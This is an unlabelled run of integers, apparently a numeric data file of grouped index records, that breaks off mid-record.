1 6 20 21 43 44 45 46 1 5 20 21 31 45 46 1 5 20 2 32 33 35 1 6 20 21 4 5 6 35 1 6 20 21 4 33 34 35 1 6 20 3 4 5 6 35 1 6 20 3 4 5 34 35 1 6 20 3 4 33 34 35 1 6 20 3 32 33 34 35 1 5 20 21 5 34 35 1 5 20 21 32 33 35 1 6 20 21 32 33 34 35 1 6 20 31 32 33 34 35 1 6 20 21 43 44 45 35 1 6 20 21 43 44 34 35 1 6 20 21 43 33 34 35 1 6 20 42 43 44 34 35 1 6 20 42 43 33 34 35 1 6 20 42 32 33 34 35 1 6 20 29 4 5 6 35 1 6 20 29 31 32 33 35 1 7 20 29 31 32 33 34 35 1 6 20 21 31 33 34 35 1 7 20 29 30 31 33 34 35 1 5 20 41 42 33 35 1 5 20 41 33 34 35 1 5 20 2 3 6 8 1 6 20 2 32 33 34 8 1 6 20 15 5 6 7 8 1 6 20 21 4 5 6 8 1 6 20 21 4 6 7 8 1 5 20 21 5 7 8 1 6 20 21 32 33 34 8 1 6 20 21 32 6 7 8 1 5 20 21 33 7 8 1 6 20 21 43 44 45 8 1 6 20 21 43 6 7 8 1 5 20 21 44 7 8 1 6 20 29 4 5 6 8 1 7 20 29 4 5 6 7 8 1 6 20 21 31 6 7 8 1 7 20 29 30 32 33 34 8 1 6 20 2 4 5 6 24 1 5 20 2 32 33 24 1 5 20 2 43 44 24 1 5 20 15 5 6 24 1 6 20 21 4 5 6 24 1 5 20 21 4 23 24 1 6 20 29 4 5 6 24 1 4 20 29 16 24 1 5 20 41 32 33 24 1 5 20 41 43 44 24 1 6 20 2 4 5 6 18 1 4 20 2 16 18 1 5 20 2 3 23 18 1 6 20 2 32 33 34 18 1 6 20 2 43 44 45 18 1 4 20 15 17 18 1 5 20 15 33 34 18 1 5 20 21 16 17 18 1 5 20 43 44 45 18 1 6 20 29 4 5 6 18 1 4 20 29 16 18 1 5 20 29 30 23 18 1 6 20 29 43 44 45 18 1 5 20 41 5 6 18 1 5 20 41 42 17 18 1 5 20 41 42 23 18 1 6 20 41 32 33 34 18 1 6 20 41 43 44 45 18 1 7 20 2 4 5 6 7 36 1 6 20 2 3 23 35 36 1 7 20 2 43 44 45 46 36 1 6 20 15 5 6 7 36 1 4 20 15 17 36 1 5 20 15 23 35 36 1 6 20 15 33 34 35 36 1 6 20 15 44 45 46 36 1 7 20 21 4 5 6 7 36 1 7 20 21 4 5 6 35 36 1 7 20 21 4 5 34 35 36 1 5 20 21 16 17 36 1 6 20 21 32 33 35 36 1 7 20 21 32 33 34 35 36 1 5 20 32 33 34 36 1 5 20 32 34 35 36 1 7 20 21 43 44 45 46 36 1 7 20 21 43 44 45 35 36 1 7 20 21 43 44 34 35 36 1 7 20 21 43 33 34 35 36 1 7 20 29 4 5 6 7 36 1 7 20 29 30 32 33 34 36 1 7 20 29 30 31 33 34 36 1 7 20 21 31 33 34 35 36 1 5 20 21 31 34 36 1 7 20 29 43 44 45 46 36 1 7 20 41 43 44 45 46 36 1 5 27 28 30 31 32 1 5 27 28 29 4 5 1 5 27 28 30 4 5 1 4 27 28 15 44 1 5 27 28 30 43 44 1 5 27 28 29 43 44 1 4 27 40 4 44 1 5 27 28 41 43 44 1 5 27 28 41 42 44 1 5 27 1 2 3 33 1 5 27 28 30 32 33 1 5 27 29 30 32 33 1 5 27 28 30 31 33 1 6 27 28 29 31 32 33 1 4 27 40 4 33 1 5 27 28 41 32 33 1 5 27 28 41 43 33 1 6 27 28 29 3 5 6 1 5 27 28 2 3 6 1 4 27 21 32 6 1 4 27 21 43 6 1 6 27 28 30 31 5 6 1 4 27 40 4 6 1 5 27 28 41 5 6 1 5 27 28 41 32 6 1 5 27 28 41 43 6 1 5 27 28 2 3 23 1 4 27 21 4 23 1 4 27 40 4 23 1 5 27 28 2 16 45 1 5 27 1 31 32 45 1 5 27 28 15 5 45 1 5 27 21 4 5 45 1 4 27 21 16 45 1 4 27 21 32 45 1 4 27 21 43 45 1 6 27 28 29 4 5 45 1 6 27 28 30 31 44 45 1 5 27 29 30 44 45 1 5 27 28 41 5 45 1 5 27 28 41 32 45 1 5 27 28 41 43 45 1 6 27 28 29 42 44 45 1 5 27 28 2 16 34 1 5 27 1 2 33 34 1 5 27 28 15 5 34 1 5 27 28 15 44 34 1 5 27 21 4 5 34 1 4 27 21 16 34 1 4 27 21 32 34 1 5 27 21 43 44 34 1 6 27 28 30 31 32 34 1 6 27 28 29 31 33 34 1 7 27 28 30 31 32 33 34 1 7 27 28 29 31 32 33 34 1 5 27 29 30 44 34 1 6 27 28 29 43 33 34 1 5 27 28 41 5 34 1 5 27 28 41 32 34 1 6 27 28 29 42 33 34 1 5 27 28 41 33 34 1 5 27 28 41 42 34 1 7 27 28 29 3 5 6 7 1 5 27 28 2 16 7 1 5 27 28 15 5 7 1 5 27 28 15 33 7 1 5 27 28 15 44 7 1 5 27 21 4 5 7 1 4 27 21 16 7 1 5 27 21 32 33 7 1 5 27 21 43 44 7 1 6 27 29 30 5 6 7 1 6 27 28 30 31 6 7 1 7 27 28 29 4 5 6 7 1 7 27 28 29 31 32 6 7 1 5 27 28 30 33 7 1 5 27 28 41 5 7 1 6 27 28 29 42 6 7 1 5 27 1 2 16 17 1 4 27 21 4 17 1 4 27 21 32 17 1 4 27 21 43 17 1 6 27 28 29 30 31 17 1 6 27 28 2 16 45 46 1 7 27 1 42 43 44 45 46 1 7 27 28 2 43 44 45 46 1 7 27 1 2 43 44 45 46 1 7 27 28 2 3 44 45 46 1 6 27 1 2 3 45 46 1 5 27 28 15 33 46 1 5 27 28 15 44 46 1 5 27 21 32 33 46 1 5 27 21 43 44 46 1 7 27 28 3 43 44 45 46 1 5 27 29 16 45 46 1 7 27 28 42 43 44 45 46 1 6 27 28 41 5 6 46 1 6 27 28 41 32 33 46 1 6 27 28 41 43 44 46 1 7 27 28 41 43 44 45 46 1 7 27 28 41 42 44 45 46 1 6 27 28 2 16 34 35 1 7 27 28 29 3 33 34 35 1 5 27 28 2 3 35 1 5 27 28 15 33 35 1 4 27 21 23 35 1 5 27 21 32 33 35 1 6 27 21 43 44 45 35 1 7 27 28 29 4 5 34 35 1 5 27 29 16 34 35 1 7 27 28 29 31 32 33 35 1 7 27 28 29 31 33 34 35 1 7 27 29 30 32 33 34 35 1 7 27 28 30 31 33 34 35 1 7 27 28 29 43 44 34 35 1 6 27 28 41 5 6 35 1 7 27 28 29 42 33 34 35 1 7 27 28 41 43 44 45 35 1 6 27 28 2 16 7 8 1 7 27 28 2 43 44 45 8 1 4 27 21 23 8 1 6 27 21 32 33 34 8 1 6 27 21 43 44 45 8 1 6 27 29 30 5 6 8 1 7 27 28 29 4 5 7 8 1 7 27 29 30 5 6 7 8 1 7 27 28 30 31 6 7 8 1 6 27 28 29 5 6 8 1 6 27 29 30 31 7 8 1 5 27 29 16 7 8 1 7 27 28 30 32 33 34 8 1 6 27 28 30 31 34 8 1 6 27 29 30 31 34 8 1 7 27 28 29 32 33 7 8 1 7 27 28 29 43 44 45 8 1 7 27 28 29 43 6 7 8 1 5 27 29 30 45 8 1 7 27 28 29 42 6 7 8 1 7 27 28 41 32 33 34 8 1 7 27 28 41 43 44 45 8 1 5 27 28 2 16 24 1 6 27 29 4 5 6 24 1 5 27 28 2 16 18 1 6 27 28 2 16 17 18 1 6 27 1 2 16 17 18 1 6 27 28 29 3 23 18 1 6 27 28 29 16 17 18 1 7 27 28 29 30 31 17 18 1 7 27 28 29 30 32 17 18 1 6 27 28 29 42 23 18 1 7 27 28 29 3 23 35 36 1 6 27 1 2 3 33 36 1 7 27 28 2 32 33 34 36 1 7 27 28 2 33 34 35 36 1 6 27 28 2 3 35 36 1 5 27 21 16 17 36 1 6 27 29 30 31 17 36 1 7 27 28 30 32 33 34 36 1 9 27 28 29 30 32 33 34 35 36 1 9 27 28 29 30 31 33 34 35 36 1 7 27 29 43 44 45 46 36 1 6 27 28 29 42 17 36 1 7 27 28 29 42 23 35 36 1 7 27 28 41 32 33 34 36 1 7 27 28 41 32 33 35 36 1 7 27 28 41 42 33 34 36 1 2 14 16 1 4 14 31 32 33 1 4 14 4 5 6 1 4 14 31 32 6 1 3 14 4 23 1 3 14 22 23 1 3 14 42 23 1 4 14 4 5 45 1 4 14 31 44 45 1 5 14 42 43 44 45 1 4 14 3 5 34 1 4 14 3 44 34 1 4 14 4 33 34 1 4 14 22 33 34 1 4 14 31 33 34 1 4 14 43 44 34 1 4 14 42 44 34 1 4 14 3 5 7 1 4 14 3 33 7 1 4 14 3 44 7 1 4 14 4 6 7 1 5 14 31 32 6 7 1 5 14 42 43 44 7 1 4 14 22 6 7 1 3 14 4 17 1 3 14 16 17 1 4 14 42 43 17 1 3 14 22 17 1 5 14 3 5 6 46 1 4 14 16 45 46 1 4 14 22 6 46 1 4 14 22 45 46 1 4 14 3 23 35 1 4 14 22 23 35 1 5 14 22 33 34 35 1 4 14 32 34 35 1 4 14 22 6 35 1 4 14 22 45 35 1 4 14 31 33 35 1 4 14 42 23 35 1 4 14 3 23 8 1 3 14 23 8 1 4 14 33 34 8 1 4 14 22 6 8 1 5 14 22 6 7 8 1 4 14 22 34 8 1 4 14 22 45 8 1 4 14 42 23 8 1 5 14 3 5 6 24 1 4 14 3 33 24 1 4 14 3 44 24 1 5 14 4 5 6 24 1 4 14 4 23 24 1 3 14 23 24 1 4 14 43 44 24 1 4 14 22 6 24 1 3 14 22 24 1 4 14 31 6 24 1 4 14 31 33 24 1 4 14 42 6 24 1 4 14 42 23 24 1 4 14 42 33 24 1 4 14 42 44 24 1 5 14 3 5 6 18 1 4 14 3 23 18 1 4 14 4 17 18 1 3 14 16 18 1 4 14 16 17 18 1 4 14 22 6 18 1 4 14 22 17 18 1 4 14 22 34 18 1 4 14 22 45 18 1 4 14 42 17 18 1 4 14 42 23 18 1 5 14 3 4 17 36 1 5 14 3 23 35 36 1 6 14 3 44 45 46 36 1 4 14 16 17 36 1 4 14 23 35 36 1 5 14 32 33 35 36 1 5 14 22 6 7 36 1 4 14 22 17 36 1 4 14 22 34 36 1 5 14 22 34 35 36 1 5 14 22 45 46 36 1 5 14 31 6 7 36 1 4 14 31 17 36 1 5 14 31 45 46 36 1 5 14 42 6 7 36 1 4 14 42 17 36 1 5 14 42 23 35 36 1 6 14 42 44 45 46 36 1 5 14 3 4 17 9 1 5 14 3 23 8 9 1 4 14 23 8 9 1 5 14 44 45 8 9 1 5 14 22 6 7 9 1 6 14 22 6 7 8 9 1 4 14 22 17 9 1 5 14 22 34 35 9 1 5 14 22 45 46 9 1 5 14 31 6 7 9 1 5 14 31 7 8 9 1 4 14 31 17 9 1 5 14 31 45 46 9 1 5 14 42 6 7 9 1 4 14 42 17 9 1 5 14 42 23 8 9 1 3 50 22 6 1 3 50 22 45 1 5 50 3 5 6 46 1 4 50 3 33 46 1 4 50 3 44 46 1 4 50 31 6 46 1 4 50 31 33 46 1 4 50 42 6 46 1 4 50 42 44 46 1 5 50 31 32 45 46 1 5 50 42 43 44 46 1 5 50 42 44 45 46 1 5 50 3 5 6 35 1 5 50 3 44 45 35 1 4 50 31 6 35 1 4 50 31 45 35 1 6 50 3 4 33 34 35 1 4 50 22 23 35 1 6 50 42 43 33 34 35 1 5 50 3 5 6 8 1 5 50 3 44 45 8 1 4 50 31 45 8 1 4 50 42 23 24 1 4 50 4 23 24 1 4 50 22 6 18 1 4 50 22 17 18 1 4 50 22 34 18 1 4 50 22 45 18 1 4 50 31 6 18 1 4 50 31 45 18 1 4 50 42 6 18 1 4 50 16 17 18 1 5 50 3 23 35 36 1 5 50 3 33 34 36 1 5 50 31 33 34 36 1 5 50 42 23 35 36 1 5 50 42 33 34 36 1 5 50 32 33 35 36 1 5 50 3 4 7 9 1 6 50 22 6 7 8 9 1 5 50 42 6 7 9 1 5 50 42 23 8 9 1 5 50 33 34 35 9 1 5 50 33 7 8 9 1 4 50 45 8 9 1 6 50 3 5 6 7 47 1 5 50 3 4 17 47 1 4 50 3 23 47 1 5 50 3 45 46 47 1 5 50 22 6 7 47 1 4 50 22 17 47 1 4 50 22 34 47 1 4 50 22 45 47 1 5 50 22 45 46 47 1 5 50 31 6 7 47 1 4 50 31 17 47 1 4 50 42 17 47 1 4 50 42 23 47 1 5 50 42 44 45 47 1 6 50 42 44 45 46 47 1 6 50 42 43 45 46 47 1 5 50 5 6 46 47 1 5 50 44 45 46 47 1 3 50 22 52 1 3 50 42 52 1 2 50 52 1 5 0 1 3 4 5 1 5 0 1 2 4 5 1 5 0 1 2 3 5 1 3 0 2 16 1 4 0 1 2 16 1 3 0 29 16 1 5 0 1 3 43 44 1 5 0 1 42 43 44 1 5 0 1 41 42 44 1 5 0 1 3 32 33 1 5 0 1 42 32 33 1 4 0 21 43 33 1 5 0 1 30 32 33 1 5 0 1 3 4 6 1 4 0 21 32 6 1 4 0 21 43 6 1 4 0 21 4 23 1 5 0 2 4 5 45 1 4 0 2 16 45 1 5 0 2 3 44 45 1 4 0 15 5 45 1 5 0 21 4 5 45 1 4 0 21 16 45 1 4 0 21 32 45 1 4 0 21 43 45 1 4 0 21 22 45 1 5 0 29 4 5 45 1 4 0 29 16 45 1 5 0 2 3 44 34 1 5 0 1 43 44 34 1 4 0 15 5 34 1 4 0 15 44 34 1 5 0 21 4 5 34 1 4 0 21 16 34 1 4 0 21 32 34 1 4 0 21 22 34 1 5 0 21 43 44 34 1 5 0 29 4 5 34 1 4 0 29 16 34 1 7 0 1 2 3 4 6 7 1 4 0 2 16 7 1 5 0 2 32 33 7 1 5 0 2 43 44 7 1 4 0 15 5 7 1 4 0 15 33 7 1 4 0 15 44 7 1 5 0 21 4 5 7 1 4 0 21 22 7 1 4 0 21 16 7 1 5 0 21 32 33 7 1 5 0 21 43 44 7 1 5 0 29 4 5 7 1 4 0 29 16 7 1 4 0 2 4 17 1 4 0 2 32 17 1 4 0 2 43 17 1 4 0 21 4 17 1 4 0 21 32 17 1 4 0 21 43 17 1 5 0 2 32 33 46 1 5 0 2 43 44 46 1 5 0 2 3 4 46 1 4 0 15 33 46 1 4 0 15 44 46 1 5 0 21 32 33 46 1 5 0 21 43 44 46 1 4 0 21 22 46 1 5 0 2 32 33 35 1 4 0 15 33 35 1 4 0 21 23 35 1 5 0 21 32 33 35 1 6 0 21 43 44 45 35 1 6 0 2 4 5 6 8 1 7 0 1 2 4 6 7 8 1 8 0 1 2 4 5 6 7 8 1 8 0 1 2 3 5 6 7 8 1 8 0 1 2 3 4 6 7 8 1 7 0 1 2 3 4 45 8 1 4 0 21 23 8 1 6 0 21 43 44 45 8 1 5 0 2 3 23 24 1 5 0 29 30 23 24 1 5 0 1 3 6 18 1 4 0 2 16 18 1 4 0 15 23 18 1 5 0 1 30 31 18 1 8 0 1 2 4 5 6 7 36 1 8 0 1 2 4 5 34 35 36 1 8 0 1 2 4 33 34 35 36 1 5 0 2 3 4 36 1 8 0 1 2 3 4 6 8 9 1 8 0 1 2 3 33 34 8 9 1 8 0 1 2 3 4 34 35 9 1 7 0 21 22 6 7 8 9 1 8 0 1 2 42 43 7 8 9 1 8 0 1 2 42 33 34 35 9 1 7 0 1 2 3 4 17 47 1 8 0 1 2 3 44 45 46 47 1 7 0 1 2 22 6 7 47 1 6 0 1 2 22 17 47 1 4 0 21 23 47 1 7 0 1 2 22 45 46 47 1 6 0 21 22 45 46 47 1 8 0 1 2 42 44 45 46 47 1 8 0 1 41 42 44 45 46 47 1 8 0 1 2 3 43 45 46 47 1 8 0 1 2 42 43 45 46 47 1 8 0 1 41 42 43 45 46 47 1 5 0 1 2 4 52 1 5 0 2 3 4 52 1 6 0 1 2 3 4 52 1 3 0 15 52 1 5 0 1 2 22 52 1 4 0 21 22 52 1 5 0 1 2 31 52 1 5 0 29 30 31 52 1 5 0 1 41 42 52 1 5 0 1 3 8 37 1 8 0 1 2 3 4 17 36 37 1 8 0 1 2 3 4 17 18 37 1 7 0 1 2 3 23 24 37 1 5 0 1 2 4 37 1 7 0 1 2 22 17 18 37 1 7 0 21 22 34 35 36 37 1 7 0 1 2 31 17 18 37 1 7 0 1 2 42 23 24 37 1 4 28 2 3 23 1 4 28 41 42 23 1 4 28 30 23 35 1 4 28 30 23 8 1 5 28 29 30 23 24 1 5 28 15 5 6 18 1 5 28 15 33 34 18 1 5 28 15 44 45 18 1 5 28 29 22 17 18 1 5 28 29 16 17 18 1 6 28 29 30 31 17 18 1 6 28 29 30 32 17 18 1 6 28 15 5 6 7 36 1 6 28 15 44 45 46 36 1 6 28 15 5 6 7 9 1 6 28 15 33 34 35 9 1 6 28 15 44 45 46 9 1 6 28 29 30 4 46 47 1 4 28 15 23 47 1 6 28 29 30 31 34 47 1 6 28 29 30 44 45 47 1 6 28 29 30 32 46 47 1 5 28 29 30 4 52 1 5 28 2 3 4 52 1 4 28 29 22 52 1 4 28 30 31 52 1 5 28 29 30 31 52 1 4 28 29 42 52 1 3 28 41 52 1 7 28 29 30 4 17 18 37 1 5 28 15 17 18 37 1 7 28 15 44 45 46 36 37 1 7 28 29 22 6 7 8 37 1 6 28 29 22 17 18 37 1 7 28 29 22 45 46 36 37 1 7 28 29 30 31 17 18 37 1 5 28 30 23 24 37 1 5 1 2 31 17 9 1 5 1 2 4 17 47 1 5 1 3 33 34 47 1 5 1 3 44 45 47 1 5 1 2 4 45 47 1 5 1 2 31 17 47 1 6 1 2 31 45 46 47 1 6 1 2 3 32 46 47 1 6 1 41 5 6 7 47 1 5 1 2 42 17 47 1 6 1 41 42 43 45 47 1 4 1 3 4 52 1 5 1 2 3 4 52 1 4 1 2 22 52 1 4 1 30 31 52 1 4 1 2 42 52 1 3 1 41 52 1 7 1 2 3 4 17 18 37 1 6 1 2 3 5 24 37 1 5 1 2 16 18 37 1 5 1 2 16 35 37 1 7 1 2 22 6 7 8 37 1 6 1 2 22 17 18 37 1 7 1 2 22 34 35 36 37 1 7 1 2 22 45 46 36 37 1 5 1 2 16 18 10 1 7 1 2 22 6 7 8 10 1 7 1 2 22 34 35 36 10 1 7 1 2 22 45 46 9 10 1 6 1 2 31 17 18 10 1 6 1 2 42 17 18 10 1 6 1 2 3 4 17 25 1 6 1 2 4 5 24 25 1 5 1 3 4 24 25 1 5 1 3 4 5 25 1 6 1 2 31 45 46 25 1 5 1 2 42 17 25 1 5 1 2 4 5 12 1 7 1 2 3 4 17 18 12 1 6 1 2 16 7 8 12 1 5 1 2 16 46 12 1 7 1 2 22 6 7 8 12 1 6 1 2 22 17 18 12 1 7 1 2 22 34 35 36 12 1 6 1 2 3 4 33 12 1 6 1 2 3 4 44 12 1 4 21 22 7 9 1 5 21 5 45 46 47 1 4 21 22 17 47 1 4 21 22 34 47 1 5 21 44 45 46 47 1 4 21 31 17 47 1 4 21 22 33 47 1 3 21 4 52 1 3 21 22 52 1 4 21 16 35 37 1 5 21 6 7 8 37 1 5 21 22 17 36 37 1 5 21 22 17 18 37 1 5 21 31 32 35 37 1 5 21 43 7 8 37 1 5 21 16 7 8 10 1 5 21 16 35 36 10 1 5 21 16 46 9 10 1 7 21 22 6 7 8 9 10 1 5 21 6 8 9 10 1 5 21 22 17 18 10 1 5 21 22 35 9 10 1 5 21 45 8 9 10 1 6 21 31 45 46 9 10 1 5 21 43 7 8 10 1 5 21 43 44 9 10 1 5 21 43 44 18 10 1 5 21 4 34 35 25 1 5 21 4 45 46 25 1 5 21 31 45 46 25 1 5 21 43 7 8 25 1 5 21 43 34 35 25 1 5 21 43 45 46 25 1 5 21 4 5 24 12 1 5 21 4 45 46 12 1 5 21 16 7 8 12 1 3 21 16 12 1 5 21 16 35 36 12 1 4 21 16 46 12 1 5 21 22 17 18 12 1 4 21 22 33 12 1 5 21 31 32 33 12 1 5 21 31 32 24 12 1 5 21 31 45 46 12 1 5 21 43 7 8 12 1 5 21 43 44 18 12 1 5 21 43 44 24 12 1 5 21 43 45 46 12 1 6 21 4 5 7 8 19 1 5 21 4 5 18 19 1 5 21 4 34 18 19 1 5 21 4 45 18 19 1 5 21 16 7 8 19 1 4 21 16 18 19 1 5 21 22 7 8 19 1 4 21 22 18 19 1 5 21 22 34 35 19 1 5 21 22 45 46 19 1 6 21 31 32 7 8 19 1 6 21 31 32 33 18 19 1 6 21 31 32 34 18 19 1 5 21 31 45 18 19 1 5 21 43 7 8 19 1 5 21 43 34 18 19 1 5 21 43 45 18 19 1 5 40 22 6 7 9 1 5 40 22 34 35 9 1 7 40 30 5 6 7 8 9 1 7 40 30 31 6 7 8 9 1 7 40 30 31 32 33 8 9 1 7 40 41 31 33 34 35 9 1 7 40 41 5 6 7 8 9 1 7 40 41 42 6 7 8 9 1 7 40 41 42 44 45 8 9 1 7 40 41 42 43 45 46 9 1 7 40 41 42 43 44 46 9 1 4 40 3 23 47 1 5 40 3 33 34 47 1 5 40 3 44 45 47 1 5 40 41 16 7 47 1 5 40 22 6 7 47 1 4 40 22 34 47 1 4 40 22 45 47 1 4 40 30 23 47 1 5 40 42 6 7 47 1 4 40 42 17 47 1 4 40 42 23 47 1 5 40 42 33 34 47 1 7 40 41 42 44 45 46 47 1 7 40 41 42 43 45 46 47 1 7 40 41 42 43 44 46 47 1 5 40 42 43 44 47 1 4 40 3 4 52 1 4 40 41 31 52 1 3 40 30 52 1 4 40 41 42 52 1 5 40 41 16 18 37 1 5 40 41 16 35 37 1 4 40 22 24 37 1 8 40 3 4 6 7 8 9 10 1 8 40 41 4 5 7 8 9 10 1 5 40 41 16 18 10 1 5 40 41 16 24 10 1 6 40 41 16 35 36 10 1 6 40 41 16 46 9 10 1 8 40 41 42 43 33 8 9 10 1 8 40 41 42 32 34 35 36 10 1 8 40 41 42 43 7 8 9 10 1 8 40 41 42 43 44 8 9 10 1 8 40 41 42 43 34 35 9 10 1 8 40 41 42 43 44 35 9 10 1 8 40 41 42 43 45 8 9 10 1 7 40 41 4 6 7 8 25 1 5 40 41 4 17 25 1 6 40 41 4 5 24 25 1 5 40 3 4 24 25 1 6 40 41 4 45 46 25 1 5 40 22 34 35 25 1 7 40 41 31 6 7 8 25 1 7 40 41 42 32 34 35 25 1 6 40 41 31 45 46 25 1 7 40 41 42 6 7 8 25 1 7 40 41 42 43 7 8 25 1 4 40 42 17 25 1 6 40 42 43 44 24 25 1 6 40 41 43 34 35 25 1 6 40 41 43 45 46 25 1 7 40 41 42 43 45 46 25 1 7 40 41 4 6 7 8 12 1 6 40 41 42 5 24 12 1 7 40 41 4 34 35 36 12 1 6 40 41 4 45 46 12 1 6 40 41 16 7 8 12 1 5 40 41 16 24 12 1 6 40 41 16 35 36 12 1 5 40 41 16 46 12 1 6 40 22 6 7 8 12 1 4 40 22 24 12 1 6 40 22 34 35 36 12 1 5 40 22 45 46 12 1 7 40 41 31 6 7 8 12 1 6 40 41 42 32 33 12 1 6 40 30 31 32 33 12 1 5 40 41 31 32 12 1 6 40 41 42 32 24 12 1 6 40 41 31 45 46 12 1 6 40 42 6 7 8 12 1 7 40 41 42 43 44 8 12 1 6 40 41 42 43 44 12 1 5 40 42 17 18 12 1 6 40 41 42 44 24 12 1 7 40 41 43 34 35 36 12 1 7 40 42 43 34 35 36 12 1 7 40 41 43 44 35 36 12 1 7 40 41 42 34 35 36 12 1 6 40 41 43 45 46 12 1 6 40 41 42 32 33 19 1 6 40 30 31 32 33 19 1 6 40 41 43 7 8 19 1 7 40 41 4 34 35 36 48 1 7 40 41 42 5 46 47 48 1 7 40 41 16 7 8 9 48 1 5 40 41 16 18 48 1 4 40 22 18 48 1 7 40 41 42 32 46 47 48 1 7 40 30 31 32 46 47 48 1 7 40 42 43 44 35 36 48 1 7 40 41 42 43 44 46 48 1 7 40 41 43 44 46 47 48 1 8 40 41 42 43 44 46 47 48 1 5 29 3 33 34 47 1 5 29 3 44 45 47 1 5 29 30 4 5 47 1 5 29 31 6 7 47 1 4 29 31 17 47 1 5 29 31 33 34 47 1 5 29 31 32 33 47 1 5 29 42 6 7 47 1 4 29 42 17 47 1 5 29 42 44 45 47 1 4 29 30 4 52 1 3 29 22 52 1 4 29 30 31 52 1 5 29 42 23 24 37 1 7 29 30 4 6 7 8 25 1 5 29 30 4 17 25 1 6 29 30 4 5 24 25 1 6 29 22 6 7 8 25 1 5 29 22 34 35 25 1 7 29 30 31 6 7 8 25 1 7 29 30 31 32 7 8 25 1 7 29 30 31 32 33 8 25 1 4 29 31 17 25 1 5 29 31 32 24 25 1 6 29 30 31 45 46 25 1 4 29 42 17 25 1 6 29 30 43 45 46 25 1 6 29 30 31 5 24 12 1 6 29 30 16 7 8 12 1 6 29 30 16 35 36 12 1 5 29 30 16 46 12 1 6 29 22 6 7 8 12 1 6 29 22 34 35 36 12 1 5 29 22 45 46 12 1 6 29 31 32 33 18 12 1 5 29 30 32 24 12 1 6 29 30 31 44 24 12 1 6 29 30 43 45 46 12 1 7 29 30 31 5 7 8 19 1 6 29 30 4 5 18 19 1 6 29 30 4 34 18 19 1 6 29 30 4 45 18 19 1 6 29 30 16 7 8 19 1 5 29 22 34 18 19 1 5 29 22 45 18 19 1 7 29 30 31 32 7 8 19 1 6 29 30 31 33 18 19 1 6 29 31 32 33 18 19 1 6 29 30 32 34 18 19 1 7 29 30 31 32 34 35 19 1 6 29 30 31 45 18 19 1 6 29 30 43 44 18 19 1 6 29 30 43 34 18 19 1 6 29 30 43 45 18 19 1 8 29 30 31 5 7 8 9 48 1 7 29 3 4 5 46 47 48 1 5 29 30 16 46 48 1 4 29 22 18 48 1 4 29 22 24 48 1 6 29 22 34 35 36 48 1 4 29 22 46 48 1 8 29 30 31 32 7 8 9 48 1 8 29 30 31 32 33 8 9 48 1 5 29 30 32 24 48 1 7 29 30 31 32 34 47 48 1 8 29 30 31 32 34 35 36 48 1 8 29 30 31 32 33 35 36 48 1 6 29 31 32 46 47 48 1 6 29 30 32 33 47 48 1 7 29 30 31 32 33 47 48 1 4 2 31 17 9 1 4 2 42 17 9 1 4 2 4 17 47 1 4 2 31 17 47 1 4 2 42 17 47 1 3 2 4 52 1 4 2 3 4 52 1 3 2 31 52 1 6 2 3 4 17 36 37 1 5 2 3 23 24 37 1 5 2 42 23 24 37 1 6 2 4 6 7 8 25 1 6 2 3 4 6 24 25 1 4 2 4 17 25 1 5 2 4 5 24 25 1 6 2 3 4 5 24 25 1 5 2 3 5 6 25 1 6 2 3 4 5 6 25 1 5 2 4 45 46 25 1 6 2 31 6 7 8 25 1 4 2 31 17 25 1 5 2 31 32 24 25 1 6 2 3 4 5 34 25 1 6 2 31 32 33 34 25 1 5 2 3 32 33 25 1 6 2 3 32 34 35 25 1 6 2 42 6 7 8 25 1 4 2 42 17 25 1 6 2 3 43 44 24 25 1 6 2 3 4 5 45 25 1 6 2 3 4 44 45 25 1 6 2 3 43 44 45 25 1 6 2 3 43 34 35 25 1 6 2 3 5 6 8 12 1 5 2 4 5 18 12 1 5 2 3 5 24 12 1 6 2 4 34 35 36 12 1 5 2 16 7 8 12 1 5 2 16 35 36 12 1 4 2 16 46 12 1 5 2 3 4 23 12 1 4 2 22 23 12 1 6 2 22 34 35 36 12 1 5 2 22 45 46 12 1 6 2 31 6 7 8 12 1 5 2 3 32 24 12 1 6 2 42 6 7 8 12 1 6 2 3 43 44 45 12 1 6 2 3 43 45 46 12 1 6 2 3 5 7 8 19 1 6 2 3 5 6 18 19 1 7 2 3 4 5 6 18 19 1 5 2 4 5 18 19 1 5 2 4 34 18 19 1 6 2 3 4 34 35 19 1 6 2 3 4 5 35 19 1 6 2 3 4 34 18 19 1 5 2 4 45 18 19 1 6 2 3 4 45 46 19 1 6 2 3 4 45 18 19 1 6 2 3 4 23 8 19 1 6 2 3 4 23 18 19 1 5 2 22 23 18 19 1 5 2 22 34 18 19 1 5 2 22 45 18 19 1 6 2 3 32 7 8 19 1 6 2 3 32 33 18 19 1 6 2 3 4 5 34 19 1 6 2 3 4 33 34 19 1 6 2 3 32 33 34 19 1 5 2 31 32 18 19 1 6 2 3 32 34 18 19 1 5 2 31 45 18 19 1 6 2 3 43 7 8 19 1 6 2 3 43 44 18 19 1 6 2 3 4 5 45 19 1 6 2 3 4 44 45 19 1 6 2 3 43 44 45 19 1 5 2 42 43 18 19 1 6 2 3 43 34 18 19 1 6 2 3 43 45 18 19 1 8 2 3 4 5 7 8 9 48 1 5 2 3 5 24 48 1 7 2 3 4 5 46 47 48 1 7 2 3 4 5 6 47 48 1 4 2 4 46 48 1 4 2 16 18 48 1 4 2 16 24 48 1 5 2 16 35 36 48 1 4 2 16 46 48 1 7 2 3 4 23 8 9 48 1 4 2 22 24 48 1 4 2 22 46 48 1 6 2 3 4 33 18 48 1 5 2 3 32 24 48 1 6 2 3 4 5 34 48 1 6 2 3 4 44 18 48 1 7 2 3 4 44 46 47 48 1 7 2 42 43 44 46 47 48 1 7 2 3 4 5 45 47 48 1 7 2 3 4 44 45 47 48 1 7 2 3 43 44 45 47 48 1 7 2 42 43 44 45 47 48 1 6 2 3 5 24 10 11 1 8 2 3 4 5 35 36 37 11 1 7 2 3 5 46 9 10 11 1 5 2 16 24 10 11 1 5 2 22 24 10 11 1 6 2 3 32 24 10 11 1 8 2 3 4 33 35 36 37 11 1 7 2 3 32 46 9 10 11 1 7 2 3 43 7 8 9 11 1 8 2 3 4 44 35 36 37 11 1 6 2 4 5 24 25 26 1 6 2 3 4 6 25 26 1 6 2 4 5 6 25 26 1 4 2 16 18 26 1 6 2 3 4 23 25 26 1 6 2 31 32 24 25 26 1 7 2 3 32 33 34 25 26 1 7 2 31 32 33 34 25 26 1 6 2 3 4 44 24 26 1 7 2 3 43 44 45 25 26 1 7 2 3 4 44 46 25 26 1 6 2 3 4 6 18 39 1 6 2 3 4 6 37 39 1 6 2 3 5 46 47 39 1 6 2 16 7 8 9 39 1 4 2 16 24 39 1 6 2 16 35 